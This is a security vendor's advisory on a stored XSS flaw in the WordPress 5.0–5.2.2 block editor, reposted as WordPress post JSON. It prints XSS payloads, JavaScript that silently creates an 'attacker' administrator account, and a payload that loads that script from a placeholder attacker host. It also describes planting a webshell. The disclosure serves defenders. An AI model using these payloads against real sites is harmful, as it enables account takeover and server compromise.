{"id":16308,"date":"2019-09-12T14:40:04","date_gmt":"2019-09-12T22:40:04","guid":{"rendered":"https:\/\/www.palada.net\/index.php\/2019\/09\/12\/news-10050\/"},"modified":"2019-09-12T14:40:04","modified_gmt":"2019-09-12T22:40:04","slug":"news-10050","status":"publish","type":"post","link":"http:\/\/www.palada.net\/index.php\/2019\/09\/12\/news-10050\/","title":{"rendered":"WordPress (Core) Stored XSS Vulnerability"},"content":{"rendered":"<div class=\"aem-Grid aem-Grid--12 aem-Grid--default--12\">\n<div class=\"cmp cmp-text aem-GridColumn aem-GridColumn--default--12\">\n<p><i>FortiGuard Labs Breaking Threat Research<\/i><\/p>\n<h2>Overview<\/h2>\n<p>WordPress is the world\u2019s most popular Content Management System (CMS). It has 60.4% of the global CMS <a href=\"https:\/\/www.isitwp.com\/popular-cms-market-share\/\">market share<\/a>, which is far higher than the second-place Joomla!, which only has 5.2% of the market share. As a result, over a third of all of the websites on the Internet were built using WordPress.<\/p>\n<p>The FortiGuard Labs team recently discovered a stored Cross-Site Scripting (XSS) zero-day vulnerability in <a href=\"https:\/\/wordpress.org\/news\/2019\/09\/wordpress-5-2-3-security-and-maintenance-release\/\">WordPress<\/a>. This XSS vulnerability is caused by the new built-in editor Gutenberg found in WordPress 5.0. The editor fails to filter the JavaScript\/HTML code in the Shortcode error message. This allows a remote attacker with Contributor or higher permission to execute arbitrary JavaScript\/HTML code in the browser of victims who access the compromised webpage. If the victim has high permission, such as an administrator, the attacker could even compromise the web server.<\/p>\n<p>This stored XSS vulnerability affects WordPress versions from 5.0 to 5.2.2.<\/p>\n<h2>Analysis<\/h2>\n<p>In WordPress 5.0, users can add Shortcode blocks to a post. When adding certain HTML encoded characters like \u201c&amp;lt;\u201d to the Shortcode block and then re-opening this post, it shows an error message and previews it by decoding the \u201c&amp;lt;\u201d to \u201c&lt;\u201d.\u00a0<\/p>\n<\/p><\/div>\n<div class=\"cmp cmp-image aem-GridColumn--default--none aem-GridColumn--default--9 aem-GridColumn aem-GridColumn--offset--default--1\">               <noscript data-cmp-image=\"{&#34;smartImages&#34;:[],&#34;smartSizes&#34;:[],&#34;lazyEnabled&#34;:true}\">             <img decoding=\"async\" src=\"\/content\/fortinet-blog\/us\/en\/threat-research\/wordpress-core-stored-xss-vulnerability\/_jcr_content\/root\/responsivegrid\/image_1976545363.img.png\" alt=\"Figure 1. Inserting HTML encoded characters into a Shortcode block\"\/>         <\/noscript>          <span class=\"cmp-image--title\">Figure 1. Inserting HTML encoded characters into a Shortcode block<\/span>         <\/div>\n<div class=\"cmp cmp-text aem-GridColumn aem-GridColumn--default--12\">\n<p class=\"cq-text-placeholder-ipe\" data-emptytext=\"Text\">\n<\/p><\/div>\n<div class=\"cmp cmp-image aem-GridColumn--default--none aem-GridColumn--default--9 aem-GridColumn aem-GridColumn--offset--default--1\">               <noscript data-cmp-image=\"{&#34;smartImages&#34;:[],&#34;smartSizes&#34;:[],&#34;lazyEnabled&#34;:true}\">             <img decoding=\"async\" src=\"\/content\/fortinet-blog\/us\/en\/threat-research\/wordpress-core-stored-xss-vulnerability\/_jcr_content\/root\/responsivegrid\/image_608806724.img.png\" alt=\"Figure 2. A Shortcode error message with preview\"\/>         <\/noscript>          <span class=\"cmp-image--title\">Figure 2. A Shortcode error message with preview<\/span>         <\/div>\n<div class=\"cmp cmp-text aem-GridColumn aem-GridColumn--default--12\">\n<p>The XSS filter in this preview can be easily bypassed with the PoC \u201c&quot;&amp;gt;&amp;lt;img src=1 onerror=prompt(1)&amp;gt;\u201d.\u00a0<\/p>\n<\/p><\/div>\n<div class=\"cmp cmp-image aem-GridColumn--default--none aem-GridColumn--default--9 aem-GridColumn aem-GridColumn--offset--default--1\">               <noscript data-cmp-image=\"{&#34;smartImages&#34;:[],&#34;smartSizes&#34;:[],&#34;lazyEnabled&#34;:true}\">             <img decoding=\"async\" src=\"\/content\/fortinet-blog\/us\/en\/threat-research\/wordpress-core-stored-xss-vulnerability\/_jcr_content\/root\/responsivegrid\/image_2070918239.img.png\" alt=\"Figure 3. Inserting PoC code into the Shortcode block\"\/>         <\/noscript>          <span class=\"cmp-image--title\">Figure 3. Inserting PoC code into the Shortcode block<\/span>         <\/div>\n<div class=\"cmp cmp-text aem-GridColumn aem-GridColumn--default--12\">\n<p>When any victim views this post, the XSS code will be executed in their browser.\u00a0<\/p>\n<\/p><\/div>\n<div class=\"cmp cmp-image aem-GridColumn--default--none aem-GridColumn--default--9 aem-GridColumn aem-GridColumn--offset--default--1\">               <noscript data-cmp-image=\"{&#34;smartImages&#34;:[],&#34;smartSizes&#34;:[],&#34;lazyEnabled&#34;:true}\">             <img decoding=\"async\" src=\"\/content\/fortinet-blog\/us\/en\/threat-research\/wordpress-core-stored-xss-vulnerability\/_jcr_content\/root\/responsivegrid\/image_2074513967.img.png\" alt=\"Figure 4. WordPress Shortcode Preview XSS\"\/>         <\/noscript>          <span class=\"cmp-image--title\">Figure 4. WordPress Shortcode Preview XSS<\/span>         <\/div>\n<div class=\"cmp cmp-text aem-GridColumn aem-GridColumn--default--12\">\n<p>If the victim happens to have admin rights, the criminal could then exploit this vulnerability to gain control of the administrator\u2019s account, leverage the WordPress built-in function to GetShell, then take control of the server.<\/p>\n<p>For example, the attacker could host JavaScript file, such as <a href=\"https:\/\/g0blin.co.uk\/xss-and-wordpress-the-aftermath\/\">wpaddadmin[.]js<\/a> (described in the link), on their webserver. This JavaScript code will add a WordPress administrator account with the username \u201cattacker\u201d and password \u201cattacker\u201d.<\/p>\n<\/p><\/div>\n<div class=\"raw-import aem-GridColumn aem-GridColumn--default--12\">\n<div class=\"text-container\"><body>  <\/p>\n<div style=\"border: none; border-left: solid #6CE26C 2.25pt; padding: 0in 0in 0in 0in; background: white; margin-left: .25in; margin-right: 0in;\">\n<ol style=\"margin-bottom: 0in; margin-top: 0px;\">\n<li style=\"line-height: 10.5pt; background: white; padding: 0in; margin: 0in 0in 8pt 0px; font-size: 11pt; font-family: Calibri, sans-serif;\"><span style=\"font-size: 9.0pt; color: #008200; border: none windowtext 1.0pt; padding: 0in;\">\/\/&nbsp;Send&nbsp;a&nbsp;GET&nbsp;request&nbsp;to&nbsp;the&nbsp;URL&nbsp;&#8216;\/wordpress\/wp-admin\/user-new.php&#8217;,&nbsp;and&nbsp;extract&nbsp;the&nbsp;current&nbsp;&#8216;nonce&#8217;&nbsp;value<\/span><span style=\"font-size: 9.0pt; color: black; border: none windowtext 1.0pt; padding: 0in;\">&nbsp;&nbsp;<\/span><\/li>\n<li style=\"line-height: 10.5pt; background: #f8f8f8; padding: 0in; margin: 0in 0in 8pt 0px; font-size: 11pt; font-family: Calibri, sans-serif;\"><strong><span style=\"font-size: 9.0pt; color: #006699; border: none windowtext 1.0pt; padding: 0in;\">var<\/span><\/strong><span style=\"font-size: 9.0pt; color: black; border: none windowtext 1.0pt; padding: 0in;\">&nbsp;ajaxRequest&nbsp;=&nbsp;<\/span><strong><span style=\"font-size: 9.0pt; color: #006699; border: none windowtext 1.0pt; padding: 0in;\">new<\/span><\/strong><span style=\"font-size: 9.0pt; color: black; border: none windowtext 1.0pt; padding: 0in;\">&nbsp;XMLHttpRequest();&nbsp;&nbsp;<\/span><\/li>\n<li style=\"line-height: 10.5pt; background: white; padding: 0in; margin: 0in 0in 8pt 0px; font-size: 11pt; font-family: Calibri, sans-serif;\"><strong><span style=\"font-size: 9.0pt; color: #006699; border: none windowtext 1.0pt; padding: 0in;\">var<\/span><\/strong><span style=\"font-size: 9.0pt; color: black; border: none windowtext 1.0pt; padding: 0in;\">&nbsp;requestURL&nbsp;=&nbsp;<\/span><span style=\"font-size: 9.0pt; color: blue; border: none windowtext 1.0pt; padding: 0in;\">&#8220;\/wordpress\/wp-admin\/user-new.php&#8221;<\/span><span style=\"font-size: 9.0pt; color: black; border: none windowtext 1.0pt; padding: 0in;\">;&nbsp;&nbsp;<\/span><\/li>\n<li style=\"line-height: 10.5pt; background: #f8f8f8; padding: 0in; margin: 0in 0in 8pt 0px; font-size: 11pt; font-family: Calibri, sans-serif;\"><strong><span style=\"font-size: 9.0pt; color: #006699; border: none windowtext 1.0pt; padding: 0in;\">var<\/span><\/strong><span style=\"font-size: 9.0pt; color: black; border: none windowtext 1.0pt; padding: 0in;\">&nbsp;nonceRegex&nbsp;=&nbsp;\/ser<\/span><span style=\"font-size: 9.0pt; color: blue; border: none windowtext 1.0pt; padding: 0in;\">&#8221;&nbsp;value=&#8221;<\/span><span style=\"font-size: 9.0pt; color: black; border: none windowtext 1.0pt; padding: 0in;\">([^<\/span><span style=\"font-size: 9.0pt; color: blue; border: none windowtext 1.0pt; padding: 0in;\">&#8220;]*?)&#8221;<\/span><span style=\"font-size: 9.0pt; color: black; border: none windowtext 1.0pt; padding: 0in;\">\/g;&nbsp;&nbsp;<\/span><\/li>\n<li style=\"line-height: 10.5pt; background: white; padding: 0in; margin: 0in 0in 8pt 0px; font-size: 11pt; font-family: Calibri, sans-serif;\"><span style=\"font-size: 9.0pt; color: black; border: none windowtext 1.0pt; padding: 0in;\">ajaxRequest.open(<\/span><span style=\"font-size: 9.0pt; color: blue; border: none windowtext 1.0pt; padding: 0in;\">&#8220;GET&#8221;<\/span><span style=\"font-size: 9.0pt; color: black; border: none windowtext 1.0pt; padding: 0in;\">,&nbsp;requestURL,&nbsp;<\/span><strong><span style=\"font-size: 9.0pt; color: #006699; border: none windowtext 1.0pt; padding: 0in;\">false<\/span><\/strong><span style=\"font-size: 9.0pt; color: black; border: none windowtext 1.0pt; padding: 0in;\">);&nbsp;&nbsp;<\/span><\/li>\n<li style=\"line-height: 10.5pt; background: #f8f8f8; padding: 0in; margin: 0in 0in 8pt 0px; font-size: 11pt; font-family: Calibri, sans-serif;\"><span style=\"font-size: 9.0pt; color: black; border: none windowtext 1.0pt; padding: 0in;\">ajaxRequest.send();&nbsp;&nbsp;<\/span><\/li>\n<li style=\"line-height: 10.5pt; background: white; padding: 0in; margin: 0in 0in 8pt 0px; font-size: 11pt; font-family: Calibri, sans-serif;\"><strong><span style=\"font-size: 9.0pt; color: #006699; border: none windowtext 1.0pt; padding: 0in;\">var<\/span><\/strong><span style=\"font-size: 9.0pt; color: black; border: none windowtext 1.0pt; padding: 0in;\">&nbsp;nonceMatch&nbsp;=&nbsp;nonceRegex.exec(ajaxRequest.responseText);&nbsp;&nbsp;<\/span><\/li>\n<li style=\"line-height: 10.5pt; background: #f8f8f8; padding: 0in; margin: 0in 0in 8pt 0px; font-size: 11pt; font-family: Calibri, sans-serif;\"><strong><span style=\"font-size: 9.0pt; color: #006699; border: none windowtext 1.0pt; padding: 0in;\">var<\/span><\/strong><span style=\"font-size: 9.0pt; color: black; border: none windowtext 1.0pt; padding: 0in;\">&nbsp;nonce&nbsp;=&nbsp;nonceMatch[1];&nbsp;&nbsp;<\/span><\/li>\n<li style=\"line-height: 10.5pt; background: white; padding: 0in; margin: 0in 0in 8pt 0px; font-size: 11pt; font-family: Calibri, sans-serif;\"><span style=\"font-size: 9.0pt; color: black; border: none windowtext 1.0pt; padding: 0in;\">&nbsp;&nbsp;<\/span><\/li>\n<li style=\"line-height: 10.5pt; background: #f8f8f8; padding: 0in; margin: 0in 0in 8pt 0px; font-size: 11pt; font-family: Calibri, sans-serif;\"><span style=\"font-size: 9.0pt; color: #008200; border: none windowtext 1.0pt; padding: 0in;\">\/\/&nbsp;Construct&nbsp;a&nbsp;POST&nbsp;query,&nbsp;using&nbsp;the&nbsp;previously&nbsp;extracted&nbsp;&#8216;nonce&#8217;&nbsp;value,&nbsp;and&nbsp;create&nbsp;a&nbsp;new&nbsp;user&nbsp;with&nbsp;an&nbsp;arbitrary&nbsp;username&nbsp;\/&nbsp;password,&nbsp;as&nbsp;an&nbsp;Administrator<\/span><span style=\"font-size: 9.0pt; color: black; border: none windowtext 1.0pt; padding: 0in;\">&nbsp;&nbsp;<\/span><\/li>\n<li style=\"line-height: 10.5pt; background: white; padding: 0in; margin: 0in 0in 8pt 0px; font-size: 11pt; font-family: Calibri, sans-serif;\"><strong><span style=\"font-size: 9.0pt; color: #006699; border: none windowtext 1.0pt; padding: 0in;\">var<\/span><\/strong><span style=\"font-size: 9.0pt; color: black; border: none windowtext 1.0pt; padding: 0in;\">&nbsp;params&nbsp;=&nbsp;<\/span><span style=\"font-size: 9.0pt; color: blue; border: none windowtext 1.0pt; padding: 0in;\">&#8220;action=createuser&amp;_wpnonce_create-user=&#8221;<\/span><span style=\"font-size: 9.0pt; color: black; border: none windowtext 1.0pt; padding: 0in;\">+nonce+<\/span><span style=\"font-size: 9.0pt; color: blue; border: none windowtext 1.0pt; padding: 0in;\">&#8220;&amp;user_login=attacker&amp;email=attacker@site.com&amp;pass1=attacker&amp;pass2=attacker&amp;role=administrator&#8221;<\/span><span style=\"font-size: 9.0pt; color: black; border: none windowtext 1.0pt; padding: 0in;\">;&nbsp;&nbsp;<\/span><\/li>\n<li style=\"line-height: 10.5pt; background: #f8f8f8; padding: 0in; margin: 0in 0in 8pt 0px; font-size: 11pt; font-family: Calibri, sans-serif;\"><span style=\"font-size: 9.0pt; color: black; border: none windowtext 1.0pt; padding: 0in;\">ajaxRequest&nbsp;=&nbsp;<\/span><strong><span style=\"font-size: 9.0pt; color: #006699; border: none windowtext 1.0pt; padding: 0in;\">new<\/span><\/strong><span style=\"font-size: 9.0pt; color: black; border: none windowtext 1.0pt; padding: 0in;\">&nbsp;XMLHttpRequest();&nbsp;&nbsp;<\/span><\/li>\n<li style=\"line-height: 10.5pt; background: white; padding: 0in; margin: 0in 0in 8pt 0px; font-size: 11pt; font-family: Calibri, sans-serif;\"><span style=\"font-size: 9.0pt; color: black; border: none windowtext 1.0pt; padding: 0in;\">ajaxRequest.open(<\/span><span style=\"font-size: 9.0pt; color: blue; border: none windowtext 1.0pt; padding: 0in;\">&#8220;POST&#8221;<\/span><span style=\"font-size: 9.0pt; color: black; border: none windowtext 1.0pt; padding: 0in;\">,&nbsp;requestURL,&nbsp;<\/span><strong><span style=\"font-size: 9.0pt; color: #006699; border: none windowtext 1.0pt; padding: 0in;\">true<\/span><\/strong><span style=\"font-size: 9.0pt; color: black; border: none windowtext 1.0pt; padding: 0in;\">);&nbsp;&nbsp;<\/span><\/li>\n<li style=\"line-height: 10.5pt; background: #f8f8f8; padding: 0in; margin: 0in 0in 8pt 0px; font-size: 11pt; font-family: Calibri, sans-serif;\"><span style=\"font-size: 9.0pt; color: black; border: none windowtext 1.0pt; padding: 0in;\">ajaxRequest.setRequestHeader(<\/span><span style=\"font-size: 9.0pt; color: blue; border: none windowtext 1.0pt; padding: 0in;\">&#8220;Content-Type&#8221;<\/span><span style=\"font-size: 9.0pt; color: black; border: none windowtext 1.0pt; padding: 0in;\">,&nbsp;<\/span><span style=\"font-size: 9.0pt; color: blue; border: none windowtext 1.0pt; padding: 0in;\">&#8220;application\/x-www-form-urlencoded&#8221;<\/span><span style=\"font-size: 9.0pt; color: black; border: none windowtext 1.0pt; padding: 0in;\">);&nbsp;&nbsp;<\/span><\/li>\n<li style=\"line-height: 10.5pt; background: white; padding: 0in; margin: 0in 0in 8pt 0px; font-size: 11pt; font-family: Calibri, sans-serif;\"><span style=\"font-size: 9.0pt; color: black; border: none windowtext 1.0pt; padding: 0in;\">ajaxRequest.send(params);&nbsp;&nbsp;<\/span><\/li>\n<\/ol><\/div>\n<\/div><\/div>\n<div class=\"cmp cmp-text aem-GridColumn aem-GridColumn--default--12\">\n<p>The attacker could then insert the JavaScript using the following PoC.<\/p>\n<p>\u201c&quot;&amp;gt;&amp;lt;img src=1 onerror=&quot;javascript&amp;colon;(function () { var url = &#8216;http:\/\/aaa.bbb.ccc.ddd\/ wpaddadmin.js&#8217;;if (typeof beef == &#8216;undefined&#8217;) { var bf = document.createElement(&#8216;script&#8217;); bf.type = &#8216;text\/javascript&#8217;; bf.src = url; document.body.appendChild(bf);}})();&quot;&amp;gt;\u201d<\/p>\n<\/p><\/div>\n<div class=\"cmp cmp-image aem-GridColumn--default--none aem-GridColumn--default--9 aem-GridColumn aem-GridColumn--offset--default--1\">               <noscript data-cmp-image=\"{&#34;smartImages&#34;:[],&#34;smartSizes&#34;:[],&#34;lazyEnabled&#34;:true}\">             <img decoding=\"async\" src=\"\/content\/fortinet-blog\/us\/en\/threat-research\/wordpress-core-stored-xss-vulnerability\/_jcr_content\/root\/responsivegrid\/image_240607221.img.png\" alt=\"Figure 5. Inserting XSS code to add an administrator account\"\/>         <\/noscript>          <span class=\"cmp-image--title\">Figure 5. Inserting XSS code to add an administrator account<\/span>         <\/div>\n<div class=\"cmp cmp-text aem-GridColumn aem-GridColumn--default--12\">\n<p>Once a victim with high permission views this post, the administrator account \u201cattacker\u201d will be created.\u00a0<\/p>\n<\/p><\/div>\n<div class=\"cmp cmp-image aem-GridColumn--default--none aem-GridColumn--default--9 aem-GridColumn aem-GridColumn--offset--default--1\">               <noscript data-cmp-image=\"{&#34;smartImages&#34;:[],&#34;smartSizes&#34;:[],&#34;lazyEnabled&#34;:true}\">             <img decoding=\"async\" src=\"\/content\/fortinet-blog\/us\/en\/threat-research\/wordpress-core-stored-xss-vulnerability\/_jcr_content\/root\/responsivegrid\/image_1695339638.img.png\" alt=\"Figure 6. XSS code is executed\"\/>         <\/noscript>          <span class=\"cmp-image--title\">Figure 6. XSS code is executed<\/span>         <\/div>\n<div class=\"cmp cmp-text aem-GridColumn aem-GridColumn--default--12\">\n<p class=\"cq-text-placeholder-ipe\" data-emptytext=\"Text\">\n<\/p><\/div>\n<div class=\"cmp cmp-image aem-GridColumn--default--none aem-GridColumn--default--9 aem-GridColumn aem-GridColumn--offset--default--1\">               <noscript data-cmp-image=\"{&#34;smartImages&#34;:[],&#34;smartSizes&#34;:[],&#34;lazyEnabled&#34;:true}\">             <img decoding=\"async\" src=\"\/content\/fortinet-blog\/us\/en\/threat-research\/wordpress-core-stored-xss-vulnerability\/_jcr_content\/root\/responsivegrid\/image_355926483.img.png\" alt=\"Figure 7. The \u201cattacker\u201d account with administrator permission created by the XSS code\"\/>         <\/noscript>          <span class=\"cmp-image--title\">Figure 7. The \u201cattacker\u201d account with administrator permission created by the XSS code<\/span>         <\/div>\n<div class=\"cmp cmp-text aem-GridColumn aem-GridColumn--default--12\">\n<p>The attacker could then modify an existing php file to a webshell and use the webshell to take control of the webserver.\u00a0<\/p>\n<\/p><\/div>\n<div class=\"cmp cmp-image aem-GridColumn--default--none aem-GridColumn--default--9 aem-GridColumn aem-GridColumn--offset--default--1\">               <noscript data-cmp-image=\"{&#34;smartImages&#34;:[],&#34;smartSizes&#34;:[],&#34;lazyEnabled&#34;:true}\">             <img decoding=\"async\" src=\"\/content\/fortinet-blog\/us\/en\/threat-research\/wordpress-core-stored-xss-vulnerability\/_jcr_content\/root\/responsivegrid\/image_28952283.img.png\" alt=\"Figure 8. Adding a web shell with the attacker\u2019s account\"\/>         <\/noscript>          <span class=\"cmp-image--title\">Figure 8. Adding a web shell with the attacker\u2019s account<\/span>         <\/div>\n<div class=\"cmp cmp-text aem-GridColumn aem-GridColumn--default--12\">\n<p class=\"cq-text-placeholder-ipe\" data-emptytext=\"Text\">\n<\/p><\/div>\n<div class=\"cmp cmp-image aem-GridColumn--default--none aem-GridColumn--default--9 aem-GridColumn aem-GridColumn--offset--default--1\">               <noscript data-cmp-image=\"{&#34;smartImages&#34;:[],&#34;smartSizes&#34;:[],&#34;lazyEnabled&#34;:true}\">             <img decoding=\"async\" src=\"\/content\/fortinet-blog\/us\/en\/threat-research\/wordpress-core-stored-xss-vulnerability\/_jcr_content\/root\/responsivegrid\/image.img.png\" alt=\"Figure 9. Taking control of the webserver\"\/>         <\/noscript>          <span class=\"cmp-image--title\">Figure 9. Taking control of the webserver<\/span>         <\/div>\n<div class=\"cmp cmp-text aem-GridColumn aem-GridColumn--default--12\">\n<h2>Solution<\/h2>\n<p>FortiGuard Labs contacted WordPress about this zero-day discovery, and they have issued a patch. All users of vulnerable versions of WordPress are encouraged to upgrade to the latest WordPress version or apply the latest patches immediately.<\/p>\n<p>Additionally, organizations that have deployed Fortinet IPS solutions are already protected from this vulnerability with the following signature:<\/p>\n<p><b>WordPress.Shortcode.Preview.XSS<\/b><\/p>\n<p><i>Learn more about\u00a0<a href=\"https:\/\/www.fortinet.com\/fortiguard\/threat-intelligence\/threat-research.html?utm_source=nreleaseblog&amp;utm_campaign=2018-q2-fortiguardlabs-cta\">FortiGuard Labs<\/a>\u00a0and the FortiGuard Security Services\u00a0<a href=\"https:\/\/www.fortinet.com\/support-and-training\/support-services\/fortiguard-security-subscriptions.html?utm_source=blog&amp;utm_campaign=2018-blog-security-services\">portfolio<\/a>.\u00a0<a href=\"https:\/\/www.fortinet.com\/fortiguard\/threat-intelligence\/threat-research.html?utm_source=nreleaseblog&amp;utm_campaign=2018-q2-fortiguardlabs-cta\">Sign up<\/a>\u00a0for our weekly FortiGuard Threat Brief.\u00a0<\/i><\/p>\n<p><i>Read about the FortiGuard\u00a0<a href=\"https:\/\/www.fortinet.com\/support-and-training\/support-services\/fortiguard-security-subscriptions\/security-rating.html?utm_source=blog&amp;utm_campaign=2018-blog-security-rating-service\">Security Rating Service<\/a>, which provides security audits and best practices.<\/i><\/p>\n<\/p><\/div>\n<div class=\"raw-import aem-GridColumn aem-GridColumn--default--12\">\n<div class=\"text-container\">\n<div id=\"om-qxx1b0gslklfu2kjckea-holder\"><\/div>\n<\/p><\/div>\n<\/p><\/div>\n<\/p><\/div>\n<p><a href=\"http:\/\/feedproxy.google.com\/~r\/fortinet\/blog\/threat-research\/~3\/h1grAPg_S4U\/wordpress-core-stored-xss-vulnerability.html\" target=\"bwo\" >http:\/\/feeds.feedburner.com\/fortinet\/blog\/threat-research<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p><img decoding=\"async\" src=\"\/content\/fortinet-blog\/us\/en\/threat-research\/wordpress-core-stored-xss-vulnerability\/_jcr_content\/root\/responsivegrid\/image_1976545363.img.png\"\/><br \/>The FortiGuard Labs team discovered a stored XSS zero-day vulnerability in WordPress, affecting versions 5.0 to 5.2.2. Learn more.&lt;img src=&#8221;http:\/\/feeds.feedburner.com\/~r\/fortinet\/blog\/threat-research\/~4\/h1grAPg_S4U&#8221; height=&#8221;1&#8243; width=&#8221;1&#8243; alt=&#8221;&#8221;\/&gt;<\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"colormag_page_container_layout":"default_layout","colormag_page_sidebar_layout":"default_layout","footnotes":""},"categories":[10424,10378],"tags":[],"class_list":["post-16308","post","type-post","status-publish","format-standard","hentry","category-fortinet","category-security"],"_links":{"self":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/16308","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/comments?post=16308"}],"version-history":[{"count":0,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/16308\/revisions"}],"wp:attachment":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/media?parent=16308"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/categories?post=16308"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/tags?post=16308"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}